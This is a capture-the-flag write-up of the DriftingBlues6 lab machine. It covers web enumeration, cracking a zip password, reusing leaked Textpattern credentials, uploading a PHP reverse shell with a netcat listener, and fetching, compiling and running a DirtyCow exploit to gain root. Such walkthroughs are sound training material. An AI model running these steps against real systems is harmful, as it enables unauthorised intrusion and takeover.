DriftingBlues6 - Proving Grounds

Enumeration

Let's start enumerate all TCP ports with nmap.
nmap -sCV -p- --min-rate 1000 -v 192.168.223.219
Pasted image 20241007183855.png
I only have Apache (port 80) so let's start by enumerate it.

Apache - port 80

http://192.168.223.219
Pasted image 20241007183959.png
I see a png image and i register image path and i will see now /robots.txt subdirectory that i found on nmap.
http://192.168.223.219/robots.txt
Pasted image 20241007184129.png
It shows a message to do dir-brute using a .zip extension and it shows also a /textpattern/textpattern so let's try access it.
http://192.168.223.219/textpattern/textpattern/index.php
Pasted image 20241007184307.png
I see a login page so let's start enumerate hidden subdirectories using dirb.

Find subdirectories - dirb

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://192.168.223.219/textpattern/textpattern/ -x php zip -b 404,403
Pasted image 20241007184745.png
I foundout interesting subdirectories like publish.php,
http://192.168.223.219/textpattern/textpattern/publish.php
Pasted image 20241007185824.png

Let's search on /textpattern subdirectory for more subdriectories besides /textpattern.
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://192.168.223.219/textpattern -x php zip -b 404,403
Pasted image 20241007190046.png
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://192.168.223.219 -x .zip -b 404,403
Pasted image 20241007190226.png

I foundout while i was searching a page where you can change language used.
http://192.168.223.219/textpattern/textpattern/setup/
Pasted image 20241007191503.png

I also foundout a page where you see the file that has the languages.
http://192.168.223.219/textpattern/textpattern/lang/
Pasted image 20241007191600.png
Since i am not find nothing let's use other wordlist and start searching again.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -u http://192.168.223.219/ -x php zip -b 403,404
Pasted image 20241007194613.png
I found out zip file so let's download it.
curl http://192.168.223.219/spammer.zip --output spammer.zip
Pasted image 20241007194812.png

Crack zip file passwords - fcrackzip

When i tried to unzip it it asks for a password so let's use fcrackzip tool to crack spammer.zip using rockyou wordlist.
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt spammer.zip
Pasted image 20241007195054.png
Now that i have zip password myspace4 let's unzip it and see the files.
unzip spammer.zip
myspace4
Pasted image 20241007195203.png
I see creds.txt and i get mayer:lionheart credentials.
cat creds.txt
Pasted image 20241007195251.png
Let's go to textpattern login page and try to login with these credentials.
When i login it appears a warning about timezone wich i will keep a note for now.
Pasted image 20241007195433.png

Exploitation

Textpattern v4.8.3

http://192.168.223.219/textpattern/textpattern/index.php
Pasted image 20241007195736.png
Since now i have Textpattern version 4.8.3 let's search a POC on our local machine.
searchsploit Textpattern 4.8.3
Pasted image 20241007200001.png
I will use TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) and adapt to my situation.
searchsploit -m 48943.py
Pasted image 20241007200136.png
python3 48943.py http://192.168.223.219/textpattern/textpattern/index.php mayer lionheart
Pasted image 20241007200449.png
Since it didn't work let's do it manually by create a reverse shell using this link.
nano revshell.php
nc -lvnp 4444
Pasted image 20241007202059.png
Noe let's execute it by going to /upload or /files subdiretories.
http://192.168.223.219/textpattern/files/
Pasted image 20241007202453.png
Pasted image 20241007202506.png

Privilege Escalation

Since i couldn't create a TTY shell and i tried all on this link i will just continue.

Kernel Version - 3.2.0-4-amd64

I started by see id, cronjobs, sudo binaries and then i saw kernel version and i findout that has 3.2.0-4-amd64 version.
uname -ar
Pasted image 20241007203213.png
I found out this link that uses the pokemon exploit of the dirtycow vulnerability
as a base and automatically generates a new passwd line. Let's download to our local machine, compile it, upload the output programm and then execute on the target machine.
python3 -m http.server 80
wget http://192.168.45.210/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty
Pasted image 20241007204045.png
zzzz
su firefart
zzzz
id
Pasted image 20241007204207.png
Now let's get root flag.
cd /root
ls
Pasted image 20241007204335.png